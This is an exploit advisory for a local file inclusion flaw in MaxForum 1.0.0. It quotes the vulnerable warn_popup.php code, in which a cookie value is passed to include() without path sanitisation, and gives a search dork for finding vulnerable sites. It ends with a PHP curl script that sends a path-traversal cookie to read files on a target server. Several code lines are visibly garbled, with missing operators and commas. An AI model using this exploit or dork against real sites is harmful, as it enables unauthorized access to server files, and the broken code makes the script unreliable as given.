MaxForum 1.0.0 - Local File Inclusion



+---------------------------------------+

| MaxForum v1.0.0 Local File Inclusion  |
+---------------------------------------+
Author.............: ahwak2000
Mail...............: z.u5[at]hotmail[dot]com
Software link......: http://www.max4dev.com/
Tested versions....: 1.0
Dork...............: Powered by MaxForum v1.0.0
Date...............: 15/08/2012
---------------------------------------------------------------
in file /MaxForum/includes/forums/warn_popup.php 

line 100             if (isset($_COOKIE['max_lang']) && (!isset($_COOKIE['max_name']))){
line 101            $board_lang = escape_string($_COOKIE['max_lang']);
line 102        }
line 103
line 104     @include "../../language/$board_lang";
line 105     @include "../../language/$board_lang.php";


-------------
in file /MaxForum/libs/php/functions.php 

        function escape_string($string) {

            $string = addslashes($string);
            
            $string = htmlspecialchars($string);
               return $string;
        }
----------------------------------------------------------------
exploit:

<?
$url
="http://site.com/MaxForum/";
$ch curl_init();
curl_setopt($chCURLOPT_URL$url."/includes/forums/warn_popup.php");
curl_setopt($chCURLOPT_COOKIE"max_lang=../gpl.txt");  // <--- edit
 
$buffer curl_exec($ch);
?>

#end